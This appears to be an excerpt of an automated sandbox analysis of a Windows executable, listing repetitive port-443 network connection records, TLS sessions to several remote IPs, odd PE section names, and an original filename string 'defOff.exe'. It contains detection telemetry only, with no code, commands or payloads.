Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443

Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.7.169:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.109.164:443 -> 192.168.2.6:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.109.164:443 -> 192.168.2.6:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:50001 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: file.exe, 00000000.00000003.2403362465.0000000005D5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2400694981.0000000005C03000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2406041945.0000000005D91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2408735023.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2417227311.0000000005CA4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2409821528.0000000005EB6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2417384188.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2447117000.0000000005827000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2400573584.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2408844743.0000000005DA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2402812147.0000000005CA8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2402896325.0000000005D4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2405618084.0000000005E3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2401459946.0000000005905000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2412478809.0000000005EFC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2411945662.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2526999606.0000000005DA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2416933417.0000000005CAF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2400788633.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2409364324.0000000005EAF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2412671197.0000000005CA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2408035875.0000000005D98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2402995392.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2414804917.0000000005CA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2407024712.0000000005D91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2403842892.0000000005D61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2401164748.0000000005CA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2407217014.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2409233379.0000000005DA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2404809592.0000000005CA4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2403669867.0000000005D55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2403187304.0000000005E01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2402640438.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2526448163.0000000005800000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
Source: file.exe, 00000000.00000003.2405092816.0000000005D71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2406730356.0000000005CA4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2404910562.0000000005D66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2416641967.0000000005DEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2410295603.0000000005DBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2413028207.0000000005F0C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2406495730.0000000005CAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2408625993.0000000005DA8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
